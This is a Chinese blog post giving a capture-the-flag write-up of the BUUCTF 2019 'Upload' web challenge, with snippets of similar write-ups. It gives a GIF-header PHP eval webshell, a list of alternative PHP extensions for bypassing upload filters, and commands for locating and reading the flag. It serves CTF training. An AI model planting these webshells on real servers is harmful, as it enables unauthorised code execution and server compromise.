【BUUCTF】[极客大挑战 2019] Upload Writeup

最新推荐文章于 2026-04-26 14:06:51 发布
原创 最新推荐文章于 2026-04-26 14:06:51 发布 · 839 阅读 · 5 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
收录于
Web安全

当前文章被收录于：

Web安全
53 篇文章 16 人学习

Web安全

订阅专栏 查看详情
本文介绍在BUUCTF极客大挑战2019中，通过使用带有图片头的一句话木马进行文件上传绕过的解题思路。详细展示了如何利用可解析的PHP后缀名如php3、php4等进行攻击，并给出具体的一句话木马代码及获取flag的过程。

【BUUCTF】[极客大挑战 2019] Upload Writeup

0x00 考点

文件上传绕过

  • 带图片头的php一句话木马

可解析的php后缀名：

  • php3，php4，php5，pht，phtml,phps,pht，phtm

0x01 解题

在这里插入图片描述

  • 要求必须上传图片

带gif图片头的php一句话木马

GIF89a? <script language="php">eval($_REQUEST[a])</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

find / -name flag

在这里插入图片描述

ls /
cat /flag

在这里插入图片描述

标签
#php #文件上传 #漏洞 #安全 #ctf
BUUCTF [极客大挑战 2019]Upload
m0_49025459的博客
05-12 6104
这题目是文件上传漏洞 看到这种上传的漏洞，肯定就是上传一句话木马，我们写一个正常的一句话木马先上传试试 <?php phpinfo(); @eval($_POST['shell']); ?> 我们上传之后，提示我们不是image格式，那么我们上传的时候就抓一下包，修改一下上传的格式 Content-Type: image/jpeg 放包 这时候我们发现，文件的后缀不能为php，文件绕过的格式也有很php,php3,php4,php5,phtml....
Buuctf＜极客大挑战2019＞upload
m0_64444909的博客
04-07 5569
文章目录一.划重点的知识点二.解题步骤二、使用步骤1.引入库2.读入数据总结 一.划重点的知识点 GIF89a图片头文件欺骗： 一个GIF89a图形文件就是一个根据图形交换格式进行格式化之后的图形。用记事本编写一下内容，然后修改后缀变成图片 GIF89a <head> <meta http-equiv = "refresh" content = "1; url=http://www.***.com/" /> </head> 当单独查看此文件时，会出现G
【BUUCTF】[极客大挑战 2019]Upload1
最新发布
qq_61036108的博客
04-26 600
这里的a是一个接口名，访问时的连接密码填接口号就行。6.那我们先把这个一句话木马写入一个文件，我们这里命名为shell.phtml，然后我们把这个文件传上去试一下。19.着眼看这段数据，filename就是服务器保存的文件名，这里我们是可以改的！17.但如果我们的木马真的被服务器当做jpg文件保存，那我们就无法利用了。那我们就需要在他检查后缀后截取数据包，更改文件名，这样我们才能成功利用。5.好了，那我们对木马有一个最基础的理解以后，我们开始来做这题。21.既然木马上传成功了，那我们就可以。
【极客大挑战2019】Upload解题
Bird&Bird
10-26 4465
1、打开BUUCTF在线评测，选择web---->【极客大挑战2019】Upload。 2、首先上一句话木马。 报错了，说明进行了前端过滤非图片格式文件。 3、 将文件后缀名改为.jpg后在上传。 报错，说明进行了后端过滤，文件内容不能包含'<?'。 4、修改文件内容，然后上传。 继续报错 应该是对图片头进行了校验，那添加图片头，然后上传。 终于上传成功了，但此时我们上传的是一个.jpg图片，利用不了。 5、通过bp抓包，并修改图片后...
(文件上传upload) [极客大挑战 2019]Upload1 和 [ACTF2020新生赛]Upload1
热门推荐
一醉一休的博客
02-23 1万+
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。 一、[极客大挑战 2019]Upload1 ...
[极客大挑战 2019]Upload
SuperherRo的博客
09-07 1981
[极客大挑战 2019]Upload 解题
[BUUCTF]-Basic-Upload-Labs-Linux
yzl_007的博客
08-27 6189
[BUUCTF]-Basic-Upload-Labs-Linux 打开环境地址，其实是upload-labs这个文件上传漏洞靶场，之前有文件已经介绍了各个关卡的通过技巧，这里给上链接 https://blog.csdn.net/yzl_007/article/details/119395730 然后这里演示一下第一关吧 禁用掉javascript，将划线部分删去 然后直接上传php一句话木马文件 返回地址 …/upload/shell.php 蚁剑连接 然后在根目录找到flag 可以每一关都尝试一下
【BUUCTF Web】WriteUp超详细
2401_83740129的博客
04-12 1351
使用 1’ or 1=1 进行注入时，注入成功使用 1’ and ‘1’= '1 进行注入，注入不成功。
BUUCTF：BUU UPLOAD COURSE 1[WriteUP]
如有错误感谢斧正
04-06 772
这里我们构造的木马是POST的方式上传，那就用MaxHacKBar来执行。接下来把我们要执行的命令以POST的方式赋值给shell就可以命令执行了。eval函数是无法直接执行命令的，只能把字符串当作php代码解析。点击"Load URL"并且把刚才我们上传的文件路径粘贴到后面。经测试这里发现直接用一句话木马，用蚁剑连接也是可以成功的。的值使得服务器执行system命令。最后也是在根目录下找到了flag。也是可以在根目录找到flag。利用eval函数解析。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-02 Writeup（文件上传+PHP+MIME绕过）
HEX9CF的技术博客
08-30 1276
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF BUU UPLOAD COURSE 1 Writeup（文件上传+PHP+文件包含漏洞）
HEX9CF的技术博客
09-12 1561
1上课用~点击启动靶机。
【CTF Web】BUUCTF [Windows]Upload-Labs-Windows Pass-09 Writeup（文件上传+PHP+::$DATA绕过）
HEX9CF的技术博客
09-06 1784
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-04 Writeup（文件上传+PHP+.htaccess绕过）
HEX9CF的技术博客
08-30 1057
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-16 Writeup（文件上传+PHP+文件包含漏洞+GIF图片马+二次渲染绕过）
HEX9CF的技术博客
09-10 1642
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-01 Writeup（JS分析+代码审计+文件上传）
HEX9CF的技术博客
08-29 1673
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-03 Writeup（文件上传+PHP+特殊可解析扩展名绕过）
HEX9CF的技术博客
09-04 546
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-10 Writeup（文件上传+PHP+扩展名双写绕过）
HEX9CF的技术博客
09-06 1398
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-07 Writeup（文件上传+PHP+扩展名加点绕过）
HEX9CF的技术博客
09-05 544
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
[BUUCTF]CheckIn (writeup)
weixin_63306244的博客
06-22 566
因为.user.ini是将a.png放到index.php文件的顶部进行执行。回显：exif_imagetype:not image!蚁剑后面的文件是index.php并不是a.png。所以要访问的是index.php。看到这个后就可以直接上蚁剑了。进入后看到是一道上传题。那就只剩下最后一种办法。随后看看了之前用过的。
【CTF Web】BUUCTF Upload-Labs-Linux Pass-09 Writeup（文件上传+PHP+Apache多后缀解析漏洞）
HEX9CF的技术博客
09-05 636
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值